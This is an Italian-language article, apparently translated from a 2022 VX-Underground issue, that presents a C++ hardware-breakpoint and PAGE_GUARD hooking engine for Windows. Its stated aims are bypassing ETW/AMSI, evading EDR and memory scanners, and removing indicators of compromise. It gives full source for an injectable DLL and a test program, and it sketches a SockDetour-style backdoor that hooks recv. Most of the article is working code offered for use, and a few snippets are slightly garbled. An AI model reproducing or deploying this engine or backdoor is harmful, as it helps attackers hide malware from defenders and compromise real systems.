
Motore di hooking tramite breakpoint hardware per Windows che usa i registri di debug per agganciare funzioni, bypassare ETW/AMSI ed eludere il monitoraggio EDR in user-land.
Questo articolo era originariamente per VX-Underground Black Mass Halloween Edition 2022.
Motori di hooking:
Tecnica generica di evasione user-land x64 che utilizza i registri di debug:
Esempi di hook ETW/AMSI disponibili
Il nostro compito è agganciare funzioni in modo banale e deviare il flusso del codice secondo necessità, e infine rimuovere l'hook quando non è più necessario.
Non possiamo pensare di applicare hook IAT poiché non vengono sempre chiamati e quindi sono inaffidabili. L'hooking inline è una tecnica potente; tuttavia richiede di patchare la memoria in cui risiede il codice. Questa è una tecnica potente, ma strumenti come PE-Sieve e Moneta possono distinguere la differenza tra la copia residente in memoria e quella su disco di un modulo e segnalarla. Questo ci lascia con lo strumento perfetto per il lavoro: i registri di debug, anche se sono piuttosto sottovalutati dagli autori di malware!
Su Windows, a livello generale, un processo è essenzialmente un incapsulamento di thread, e ciascuno di questi thread mantiene un contesto che è lo stato del thread: registri, stack, ecc. I registri di debug sono una risorsa privilegiata, e lo è anche impostarli; tuttavia, Windows espone varie syscall che ci consentono di richiedere che il kernel compia un'azione privilegiata per nostro conto; questo include l'impostazione dei registri di debug, che sono perfetti per noi. NtSetThreadContext e NtGetThreadContext espongono funzionalità per modificare qualsiasi contesto di thread per cui possiamo aprire un handle con il privilegio necessario. Possiamo vedere come impostare i registri di debug con l'API Win32.```c CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
// set our debug information in the Dr registers
SetThreadContext(thd, &context);
There are 8 Debug registers, from Dr0 through to Dr7. The ones of interest to us are only
Dr0-3 which we store addresses we would like to break on, and Dr6 is just the debug
status. Most importantly is Dr7, which describes the breakpoints conditions in which the
processor will throw an exception. There are various limitations when using debug
registers, such as a limited number (4) and not being applied to all threads/newly
spawned threads. We will look to address some of these limitations!
When the exception is thrown, it will look for an exception handler which we can define
and register in our program [1]. In our defined exception handler, we want our associated
code (different code flows) to run when the corresponding breakpoint is triggered.
Ci sono 8 registri di debug, da Dr0 a Dr7. Quelli di nostro interesse sono solo
Dr0-3, in cui memorizziamo gli indirizzi su cui vogliamo fermarci, e Dr6 è semplicemente lo stato di debug.
La cosa più importante è Dr7, che descrive le condizioni dei breakpoint in base alle quali il
processore lancerà un'eccezione. Ci sono varie limitazioni nell'uso dei registri di debug,
come un numero limitato (4) e la non applicazione a tutti i thread/thread appena generati.
Cercheremo di affrontare alcune di queste limitazioni!
Quando l'eccezione viene lanciata, il processore cercherà un gestore di eccezioni che possiamo definire
e registrare nel nostro programma [1]. Nel nostro gestore di eccezioni definito, vogliamo che il codice
associato (diversi flussi di codice) venga eseguito quando viene attivato il breakpoint corrispondente.```c
LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
{
// Look for our associated code flow relative to our RIP
if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {
HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
Questo è ottenuto da una funzione costruttrice che imposta la mappatura tra una "callback" funzione lambda e un indirizzo. using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;```c typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
// Global std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };
// Create our mapping HWBP_ADDRESS_MAP[address].func = function; HWBP_ADDRESS_MAP[address].pos = pos;
Dobbiamo iterare attraverso tutti i thread del nostro processo e impostare le corrispondenti regolazioni al
contesto per essi. Questo può essere ottenuto utilizzando le funzioni di supporto ToolHelp32:
CreateToolhelp32Snapshot e Thread32Next. Non è nulla di elaborato, ma affronta uno dei
nostri limiti di non agganciarci a tutti i thread.```c
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)
{
DWORD pid{ GetCurrentProcessId() };
HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };
if (h != INVALID_HANDLE_VALUE) {
THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };
if (Thread32First(h, &te)) {
do {
if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
Avere dei breakpoint hardware impostati è potenzialmente sospetto, poiché potrebbero indicare attività dannose (anche se, per quanto ne so, nessun EDR li scansiona attivamente). Possono essere usati contro di noi come potenziale IoC, quindi dobbiamo rimuovere ogni loro traccia una volta terminato di usarli.
Possiamo implementare tutto questo nella nostra funzione deconstructor!! Questa itererà attraverso tutti i thread e controllerà se il registro (&context.Dr0)[pos] punta all'indirizzo in cui abbiamo inizialmente impostato il breakpoint hardware (pos è solo un indice % 4 che ci dà accesso a context.Dr0-Dr3). Possiamo anche rimuovere le condizioni necessarie nel registro Dr7. Dobbiamo anche ricordarci di rimuovere la nostra voce nella mappatura. Pertanto, il nostro breakpoint hardware sarà presente solo per la durata richiesta!```c SetHWBPS(address, pos, false); HWBP_ADDRESS_MAP.erase(address);
Un esempio di hardware breakpoint sarebbe Sleep, dove sostituiamo semplicemente la durata del sonno
con 0.```c
HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, // Set Dr 0
([&](PEXCEPTION_POINTERS ExceptionInfo) {
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // continue execution
}) };
Sappiamo di impostare RCX a causa della convenzione di chiamata rapida a quattro registri di Windows x64[1]. Il primo argomento del costruttore è l'indirizzo su cui interrompere, il secondo è quale registro Dr0- 3 in cui memorizzare (nota: possiamo avere solo 4 indirizzi su cui interrompere alla volta), e il terzo è una funzione lambda che catturerà per riferimento PEXCEPTION_POINTERS, che è l'informazione che un gestore di eccezioni riceverà. Questo ci consentirà in definitiva di controllare il flusso di un programma in modo diverso a seconda di quale breakpoint è stato attivato.
Quando viene creato un nuovo thread, questo non eredita il set di registri di debug associato, a meno che non riusciamo in qualche modo a intercettare la creazione di un nuovo thread! Un trucco elegante che possiamo usare sarebbe catturare l'indirizzo di partenza effettivo e deviare il nuovo thread per creare il nostro thread. La maggior parte dei nuovi thread finisce per chiamare NtCreateThreadEx.```c // Global Variable PVOID START_THREAD{ 0 };
// capture original start address HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"), "NtCreateThreadEx"), 1, ([&](PEXCEPTION_POINTERS ExceptionInfo) {
// save original thread address
START_THREAD = (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28);
// set the start address to our thread address
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28) = (uintptr_t)&HijackThread;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };
DWORD WINAPI HijackThread(LPVOID lpParameter) { typedef DWORD(WINAPI* typeThreadProc)(LPVOID lpParameter);
// Set required HWBP
for (auto& i : HWBP_ADDRESS_MAP) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
}
// restore execution to original thread
return ((typeThreadProc)START_THREAD)(lpParameter);
}
Un limite di questa soluzione è che lo stack di chiamate per il thread avrà origine
nella HijackThread della nostra DLL iniettata e non nel thread originale! In alternativa, una
soluzione migliore sarebbe chiamare noi stessi NtCreateThreadEx, ma avviarlo in stato sospeso
e poi impostare i breakpoint hardware necessari. Poi ripristiniamo l'esecuzione riprendendo il
thread sospeso con i registri di debug impostati per questo nuovo thread. Questo risolverà
un'altra limitazione dell'uso dei registri di debug.
Chiamare l'istruzione su cui abbiamo impostato un breakpoint innescherebbe un ciclo infinito;
quindi disabilitiamo temporaneamente il breakpoint hardware responsabile dell'attivazione del
nostro RIP corrente. Poi, una volta completata la chiamata, possiamo ripristinarlo. Questo ci consentirà
di chiamare la funzione originale (come un trampoline). In questo caso, dobbiamo puntare il nostro RIP a un
gadget ret in modo che possa tornare indietro e non eseguire un'altra istruzione syscall.
Il quinto parametro e quelli successivi possono essere trovati inseriti nello stack a intervalli di 0x8 byte [2].
Il nostro stack appare più o meno così quando attiviamo il breakpoint.```
___________________________
| |
| 0x8 + lpBytesBuffer |
|___________________________|
| |
| 0x8 + SizeOfStackReserve |
|___________________________|
| |
| 0x8 + SizeOfStackCommit |
|___________________________|
| |
| 0x8 + StackZeroBits |
|___________________________|
| |
| 0x8 + Flags |
|___________________________|
| |
| 0x8 + lpParameter |
|___________________________|
| |
| 0x8 + lpStartAddress |
RSP + 0x28 +-> |___________________________|
| |
| |
| | R9 +-> (HANDLE)ProcessHandle
| 0x20 + Shadow Store | R8 |-> (PVOID) ObjectAttributes
| | RDX |-> (ACCESS_MASK) DesiredAccess
| | RCX +-> (PHANDLE) hThread
|___________________________|
| |
| 0x8 + Call Ret Addr | RIP +-> NtCreateThreadEx
RSP +-> |___________________________|
// Find our ret ROP gadget
uintptr_t FindRetAddr(const uintptr_t function)
{
BYTE stub[]{ 0xC3 };
for (unsigned int i = 0; i < (unsigned int)25; i++)
{
// do not worry this will be optimized
if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) {
return (function + i);
}
}
return NULL;
}
typedef LONG(NTAPI* typeNtCreateThreadEx)(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"),
"NtCreateThreadEx"), 1,
([&](PEXCEPTION_POINTERS ExceptionInfo) {
// temporary disable of NtCreateThreadEx in our current thread.
for (auto& i : HWBP_ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
}
}
// create the original thread BUT suspended
// THREAD_CREATE_FLAGS_CREATE_SUSPENDED == 0x00000001
// ( Flags | THREAD_CREATE_FLAGS_CREATE_SUSPENDED)
LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
(PHANDLE)ExceptionInfo->ContextRecord->Rcx,
(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
(PVOID)ExceptionInfo->ContextRecord->R8,
(HANDLE)ExceptionInfo->ContextRecord->R9,
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
);
CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
// Setup required HWBP
for (auto& i : HWBP_ADDRESS_MAP) {
(&context.Dr0)[i.second.pos] = i.first;
context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
context.Dr7 |= 1ull << (2 * i.second.pos);
}
SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));
// restore our HWBP on NtCreateThreadEx
for (auto& i : HWBP_ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
}
}
// RAX contains the return value.
ExceptionInfo->ContextRecord->Rax = status;
// Set RIP to a ret gadget to avoid creating
// another new thread (skip syscall instruction)
ExceptionInfo->ContextRecord->Rip =
FindRetAddr(ExceptionInfo->ContextRecord->Rip);
}) };
Condivido un motore di hooking dei breakpoint hardware che puoi usare, scritto in C++. L'esempio di breakpoint hardware imposta un breakpoint in Dr0 sulla funzione sleep e imposta il primo valore (in RCX) a 0, saltando tutti gli sleep. Per impostare questo breakpoint in tutti i futuri nuovi thread, puoi usare l'esempio sopra, che utilizza Dr1.```c ////////////////////////////////////////////////////////////////////////////////////////// /* HWBPP.cpp - @rad9800 / / C++ Hardware Breakpoint Library (DLL example) */ ////////////////////////////////////////////////////////////////////////////////////////// // dllmain.cpp : Defines the entry point for the DLL application. // /std:c++20 #include "pch.h" #include <windows.h>
#include <tlhelp32.h> #include
using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;
////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };
////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
if (init) {
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
}
else {
if ((&context.Dr0)[pos] == address) {
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = NULL;
}
}
SetThreadContext(thd, &context);
}
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
const HANDLE thd =
OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; }
////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address } , pos{idx % 4} { SetHWBPS(address, pos);
HWBP_ADDRESS_MAP[address].func = function;
HWBP_ADDRESS_MAP[address].pos = pos;
};
VOID RemoveHWBPS()
{
SetHWBPS(address, pos, false);
HWBP_ADDRESS_MAP.erase(address);
}
~HWBP()
{
RemoveHWBPS();
}
private: const uintptr_t address; UINT pos; };
// Global Scope HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, ([&](PEXCEPTION_POINTERS ExceptionInfo) { ExceptionInfo->ContextRecord->Rcx = 0; ExceptionInfo->ContextRecord->EFlags |= (1 << 16); }) }; ////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// extern "C" BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { HANDLE handler = NULL; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { handler = AddVectoredExceptionHandler(1, ExceptionHandler); }; break; case DLL_THREAD_ATTACH: { } break; case DLL_THREAD_DETACH: {
}; break;
case DLL_PROCESS_DETACH: {
if (handler != nullptr) RemoveVectoredExceptionHandler(handler);
}; break;
}
return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////
Come discusso in precedenza, tenere un set di registri di debug è una cattiva pratica. Pertanto, integreremo il nostro utilizzo dei registri di debug con hook PAGE_GUARD, permettendoci di liberare uno dei registri di debug: Dr1 (usato per NtCreateThreadEx).
Le PAGE_GUARD sono essenzialmente una protezione della memoria monouso che genera un'eccezione. Vengono applicate alle pagine al livello più basso di granularità di allocazione presente nel sistema (cosa che a volte può rivelarsi un ostacolo). L'hooking tramite PAGE_GUARD non è una novità, ma possiamo usarlo per affrontare alcune delle nostre limitazioni. Applicheremo inizialmente la nostra PAGE_GUARD all'indirizzo e la PAGE_GUARD verrà attivata generando una PAGE_GUARD_VIOLATION.
VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
Possiamo applicare lo stesso concetto di mappare una lambda da attivare a un indirizzo specifico. Eseguiremo il single-step delle istruzioni della funzione sulla nostra pagina corrente, riapplicando la PAGE_GUARD. Questo è ovviamente relativamente lento, ma ha il vantaggio di non occupare un registro di debug. Proprio per la sua lentezza, abbiamo deciso di non utilizzarle come soluzione primaria.```c
typedef struct {
EXCEPTION_FUNC func;
} PG_CALLBACK;
std::unordered_map<uintptr_t, PG_CALLBACK> PG_ADDRESS_MAP{ 0 };
PG_ADDRESS_MAP[address].func = function;
Per applicare gli hook dei registri di debug ai nuovi thread, possiamo semplicemente copiare l'esempio precedente di aggancio di NtCreateThreadEx ma rimuovere i loop in cui disabilitiamo e ripristiniamo gli HWBPs per il nostro thread corrente.
Possiamo introdurre il secondo esempio di codice in cui eseguiamo l'hook menzionato sopra di NtCreateThreadEx con i PAGE_GUARDs. Come prima, la nostra funzione deconstructor rimuoverà l'entry nella nostra mappatura e rimuoverà le protezioni (se impostate).```c
////////////////////////////////////////////////////////////////////////////////////////// /* DRPGG.cpp - @rad9800 */ ////////////////////////////////////////////////////////////////////////////////////////// #include <windows.h>
#include <tlhelp32.h> #include // std::function
using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;
////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
typedef struct { EXCEPTION_FUNC func; } PG_CALLBACK;
typedef LONG(NTAPI* typeNtCreateThreadEx)( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer );
////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 }; std::unordered_map<uintptr_t, PG_CALLBACK> PG_ADDRESS_MAP{ 0 };
////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// // Find our ret ROP gadget uintptr_t FindRetAddr(const uintptr_t function) { BYTE stub[]{ 0xC3 }; for (unsigned int i = 0; i < (unsigned int)25; i++) { if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) { return (function + i); } } return NULL; }
VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
if (init) {
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
}
else {
if ((&context.Dr0)[pos] == address) {
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = NULL;
}
}
SetThreadContext(thd, &context);
}
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
const HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo) { DWORD old = 0; if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) { if (PG_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { PG_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); } ExceptionInfo->ContextRecord->EFlags |= (1 << 8); return EXCEPTION_CONTINUE_EXECUTION; } else if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } for (const auto& i : PG_ADDRESS_MAP) { VirtualProtect((LPVOID)i.first, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; }
DWORD WINAPI TestThread(LPVOID lpParameter) { UNREFERENCED_PARAMETER(lpParameter); Sleep(500000);
return 0;
}
////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address }, pos{ idx % 4 } { SetHWBPS(address, pos);
HWBP_ADDRESS_MAP[address].func = function;
HWBP_ADDRESS_MAP[address].pos = pos;
};
VOID RemoveHWBPS()
{
SetHWBPS(address, pos, false);
HWBP_ADDRESS_MAP.erase(address);
}
~HWBP()
{
RemoveHWBPS();
}
private: const uintptr_t address; UINT pos; };
template struct PGBP { public: PGBP(const uintptr_t address, const HANDLER function) : old{ 0 }, address{ address } {
VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
PG_ADDRESS_MAP[address].func = function;
}
VOID RemovePGEntry()
{
VirtualProtect((LPVOID)address, 1, old, &old);
PG_ADDRESS_MAP.erase(address);
}
~PGBP()
{
RemovePGEntry();
}
private: DWORD old; const uintptr_t address; };
////////////////////////////////////////////////////////////////////////////////////////// /* Entry Point */ ////////////////////////////////////////////////////////////////////////////////////////// int main() { const PVOID handler{ AddVectoredExceptionHandler(1, ExceptionHandler) };
HWBP HWBPSleep{
(uintptr_t)&Sleep,
1,
([&](PEXCEPTION_POINTERS ExceptionInfo) {
printf("Sleeping %lld\n", ExceptionInfo->ContextRecord->Rcx);
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // continue execution
}) };
PGBP VEHNtCreateThreadEx{
(uintptr_t)GetProcAddress(
GetModuleHandle(L"NTDLL.dll"),
"NtCreateThreadEx"
),
([&](PEXCEPTION_POINTERS ExceptionInfo) {
// create a new thread suspended
LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
(PHANDLE)ExceptionInfo->ContextRecord->Rcx,
(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
(PVOID)ExceptionInfo->ContextRecord->R8,
(HANDLE)ExceptionInfo->ContextRecord->R9,
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
);
CONTEXT context{ 0 };
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
for (auto& i : HWBP_ADDRESS_MAP) {
(&context.Dr0)[i.second.pos] = i.first;
context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
context.Dr7 |= 1ull << (2 * i.second.pos);
}
SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));
ExceptionInfo->ContextRecord->Rax = status;
ExceptionInfo->ContextRecord->Rip =
FindRetAddr(ExceptionInfo->ContextRecord->Rip);
}) };
Sleep(1000000);
for (unsigned int i = 0; i < 2; ++i) {
HANDLE t = CreateThread(NULL, 0, TestThread, NULL, 0, NULL);
if (t) WaitForSingleObject(t, INFINITE);
}
if (handler) RemoveVectoredExceptionHandler(handler);
}
////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////
Dopo aver applicato la teoria per creare un motore versatile di hooking tramite hardware breakpoint, continueremo a utilizzare una combinazione di registri di debug e PAGE_GUARD, come mostrato negli esempi precedenti, per implementare una backdoor ispirata a SockDetour [3] come DLL in C++. Imposteremo un hardware breakpoint sulla funzione recv per raggiungere questo obiettivo e costruiremo la logica necessaria nella relativa lambda. Applicheremo anche un PAGE_GUARD a NtCreateThreadEx e useremo la tecnica precedente di creare il thread in stato sospeso per impostare i giusti registri di debug.
Nonostante la natura lenta degli hook PAGE_GUARD, questo non dovrebbe essere un problema finché il modello di server non crea un nuovo thread per ogni richiesta, dando luogo a prestazioni subliminali. La maggior parte dei modelli di server di rete mantiene un pool di thread avviati e inizializzati all'avvio del programma. Per ulteriori approfondimenti su questi modelli di server, Microsoft fornisce una serie di esempi su Github [4]; l'esempio IOCP è un ottimo esempio di come appare un modello di server performante e scalabile per contesto.
L'inizio della tua backdoor potrebbe apparire così:
```cpp
HWBP recv_hook{ (uintptr_t)GetProcAddress((LoadLibrary(L"WS2_32.dll"),
GetModuleHandle(L"WS2_32.dll")),"recv"), 3,
([&](PEXCEPTION_POINTERS ExceptionInfo) {
for (auto& i : ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
}
}
char verbuf[9]{ 0 };
int verbuflen{ 9 }, recvlen{ 0 };
recvlen = recv(ExceptionInfo->ContextRecord->Rcx, verbuf,
verbuflen, MSG_PEEK);
BYTE TLS[] = { 0x17, 0x03, 0x03 };
if (recvlen >= 3) {
if ((memcmp(verbuf, TLS, 3) == 0))1
{
MSG_AUTH msg{ 0 };
// We'll peek like SockDetour as to not eat the message
recvlen = recv(ExceptionInfo->ContextRecord->Rcx, (char*)&msg,
sizeof(MSG_AUTH), MSG_PEEK);
// Authenticate and proceed
}
}
// Set corresponding Dr
for (auto& i : ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
}
}
ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };
Termineremo implementando una tecnica generica di evasione in userland per x64 ispirata a TamperingSyscalls, che utilizza una versione opportunamente modificata dell'hardware breakpoint mostrato in precedenza dal motore per nascondere fino a 12 argomenti di un massimo di QUALSIASI 4 syscall Nt in QUALSIASI momento per thread. Nota che ho scelto di non propagare il contenuto dei registri di debug a tutti i thread, poiché probabilmente sarebbe indesiderabile (se desiderato, sostituire SetHWBP con SetHWBPS).
